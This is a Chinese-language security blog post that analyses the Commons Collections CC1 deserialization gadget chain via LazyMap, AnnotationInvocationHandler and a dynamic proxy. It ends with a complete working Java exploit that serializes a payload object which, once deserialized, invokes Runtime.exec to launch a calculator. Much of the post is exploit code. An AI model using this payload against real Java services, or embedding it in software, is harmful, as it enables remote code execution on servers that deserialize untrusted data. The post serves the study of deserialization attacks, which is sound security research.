Java反序列化 CC1链分析 (LazyMap)

前言

前面我们介绍了TransformedMap的构造链,这条链易于理解,适合快速构造验证。今天我们来对之前的内容做补充,讲一下LazyMap这条构造链,该链是ysoserial中CC1链的构造方式,相比于TransformedMap的构造链,LazyMap链结构相对复杂但更灵活、扩展性强,LazyMap作为CC1的代表,其核心是懒加载和灵活插入的transform操作

链子有一部分跟之前TransformedMap构造链一样,如果忘记了如何构造,可以看看文章:Java反序列化 CC1链分析

先放个TransformedMap链的图回忆一下

初步探索

首先,我们先找哪些地方调用了transform,可以回到Transformer.javaalt+F7查找用法

之前我们走的是TransformedMap.checkSetValue(),这次我们就不走这个了,走LazyMapget方法

要求满足map.containsKey(key) == false才可以进入if语句调用transform,也就是要求map里面没有对应的key键名

接着我们看看LazyMap的构造方法

可以传入factory,也就是get方法里的factory是可控的,但是该构造方法被protected修饰,不能直接调用,我们继续往下分析

发现decorate方法返回了构造方法实例,且是public修饰,符合我们的要求

我们尝试构造代码,最后那里跟CC1调用ChainedTransformer()InvokerTransformer()那部分一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Main {
public static void main(String[] args) throws Exception {
Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
Map decorate = LazyMap.decorate(map, chainedTransformer);
decorate.get("key");
}
}

成功弹出计算器

逐步完善

接下来我们就是要找哪里调用了get方法,alt+F7查找用法

get方法的调用点非常多,有好几千个,在ysoserial工具中,作者最终使用了AnnotationInvocationHandler类作为触发get方法的关键跳板,其中的invoke里调用了get方法

为了能顺利调用get方法,我们需要绕过前面的两个if语句

首先是第一个

1
if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)

我们只要调用的方法名不为equals就好

第二个

1
if (paramTypes.length != 0)

要长度为0绕过,我们调用无参方法即可

然后我们分析构造函数

发现memberValues可控,但是该构造函数没有修饰符在前面,也就是为默认的Package-local类型,无法直接外部调用,那我们可以用反射来实现

接下来就是看看如何触发invoke方法,我们来到开头这里,看到AnnotationInvocationHandler类实现了InvocationHandler接口

实现了InvocationHandler接口,表示该类可以作为动态代理的代理处理器,当调用代理对象的方法就会自动跳转到该类重写后的invoke方法执行,也就是我们前面提到的那个invoke,实现逻辑增强

如果对动态代理的概念不太熟悉,可以看看这两篇文章:

动态代理 - Java教程 - 廖雪峰的官方网站

Java动态代理实现全解析:原理、实战与最佳实践

这样如何触发invoke的问题就解决了,我们把AnnotationInvocationHandler作为代理处理器就可以,剩下要解决的问题就是如何调用无参方法

我们继续分析AnnotationInvocationHandler类,发现readObject方法里调用了无参方法,刚好这里还是反序列化的入口,一举两得

可以看到for循环里面对memberValues调用了无参方法entrySet(),而entrySet()是Map接口的一个抽象方法,且LazyMap是实现了Map接口的,符合我们的要求

接下来我们来构造代码,先通过反射创建AnnotationInvocationHandler的构造实例,注意类型要强制转换为InvocationHandler

1
2
3
4
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) annotationConstructor.newInstance(Override.class, decorate);

然后利用Proxy.newProxyInstance()创建Map接口的代理对象,设置handler为其代理处理器。接着再实例化构造器annotationConstructor,注解类我们随便传个Override,然后Map设置为proxy,完成闭环

1
2
Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = annotationConstructor.newInstance(Override.class, proxy);

为了方便理解,我们放个图,这就是LazyMap的构造链

最终利用

根据前面的内容,我们把代码结合起来,得到完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class Main {
public static void main(String[] args) throws Exception {
Class cs = Runtime.class;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(cs),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map<Object, Object> map = new HashMap<>();
Map decorate = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) annotationConstructor.newInstance(Override.class, decorate);

Map proxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
Object o = annotationConstructor.newInstance(Override.class, proxy);

serialize(o);
unserialize("cc1.ser");

}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

成功弹出计算器

至此,CC1的LazyMap链分析完成

作者

WayneJoon.H

发布于

2025-11-12

许可协议